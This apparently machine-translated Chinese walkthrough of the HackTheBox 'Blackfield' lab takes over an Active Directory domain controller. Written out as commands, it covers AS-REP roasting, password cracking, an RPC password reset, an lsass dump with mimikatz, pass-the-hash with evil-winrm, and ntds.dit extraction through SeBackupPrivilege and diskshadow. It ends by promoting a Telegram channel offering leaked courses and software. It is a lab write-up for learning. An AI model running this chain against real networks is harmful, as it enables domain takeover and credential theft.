HackTheBox。演练黑场。通过SMB和RPC劫持域控制器,通过卷影复制劫持LPE



我将继续发布从HackTheBox网站发送到计算机最终定稿的解决方案



在本文中,我将使用ASRep Roasting定义用户,使用RPC更改密码并劫持帐户,然后使用NTDS.DIT​​卷影副本提升特权。



与实验室的连接是通过VPN。建议您不要从工作计算机或有重要数据的主机进行连接,因为您会发现自己与某个对信息安全有所了解的人处于私有网络中。



组织信息
, , Telegram . , , .



. , - , .



侦察



这台机器的IP地址为10.10.10.192,我将其添加到/ etc / hosts。



10.10.10.192 	blackfield.htb


第一步是扫描打开的端口。我使用以下脚本执行此操作,该脚本带有一个参数-要扫描的主机的地址:



#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1






我们看到了很多开放的端口,但是像往常一样,让我们​​从SMB开始。让我们看看是否可以在不登录的情况下做一些事情。



smbmap -u anonymous -H 10.10.10.192






我们可以读取目录配置文件$。



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2






我们有大量的潜在用户。我们可以检查系统中实际存在哪些用户。事实是,在ASRep Roasting攻击期间,服务器具有三种不同的响应:



  • 用户密码的哈希值;
  • 该用户没有设置UAF不需要PreAuth;
  • Kerberos数据库中没有这样的用户。


因此,我们将能够找出谁是谁,谁不是。



入口点



首先,让我们获得一个列表。



smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt


现在让我们进行ASRep-Roasting。



GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt






当哈希返回给我们时,我感到很惊讶。让我们咕him他。



john support.hash -w=./tools/rockyou.txt






而且我们有一个完整的受控帐户。现在,让我们使用enum4linux获得尽可能多的信息。



enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null






我们将获得大量晦涩难懂的用户,但最有趣的是组成员身份。这将告诉我们svc_backup在RMU组(RID:580)中,该组允许使用Win-RM进行远程连接。



我们无法从SMB获得任何其他东西,但是在LDAP中找不到任何东西。但是事实证明,在RPC中,有一个窍门。让我们连接:



rpcclient 10.10.10.192 -U support






事实上,可以用相同的特权更改用户的密码,此处详细介绍了所有内容我设法做到了为用户audit2020。



setuserinfo2 audit2020 18 'ralf'






现在,我们从头开始分析所有资源和服务,因为我们有另一个受控帐户。



用户



我们去SMB。



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192






有很多内容可供阅读,最好以递归方式显示所有内容并一次性查看。



smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R






显然,在鉴证\ memory_analysis文件夹中,我们找到了lsass进程的转储。从中我们可以使用mimikatz获得密码。下载此文件。



smbclient.py blackfield.local/audit2020:ralf@10.10.10.192






现在,让我们转到Windows计算机并使用mimikatz。







并且,知道了哈希值,我们使用Evil-WinRM代表svc_backup进行连接。



evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d








让我们看看组和用户权限。







我们拥有SeBackupPrivilege特权。这使我们有权创建包含大量凭据的NTDS文件的卷影副本。创建副本后,我们不能简单地提取所需的文件。为此,我们需要以下DLL



让我们制作一个卷影副本。让我们创建一个包含以下内容的文件。



SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:


现在,我们将其上传并下载到主机库。







让我们执行卷影复制。



diskshadow /s ds.txt










并转储文件。



Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit






但是这个文件是加密的,为了解密它,我们需要SYSTEM文件,这不是问题。



reg save HKLM\SYSTEM C:\Temp\SYSTEM






从计算机下载两个文件。







然后,我们使用来自impacket包中的secretsdump来获得哈希值。



secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL






让我们以管理员身份连接。



evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee








我们对此机器拥有完全控制权。



您可以通过Telegram加入我们在这里,您可以找到有趣的资料,泄漏的课程和软件。让我们聚集一个社区,在这个社区中,将有很多IT领域的专家,然后我们可以在任何IT和信息安全问题上互相帮助。



All Articles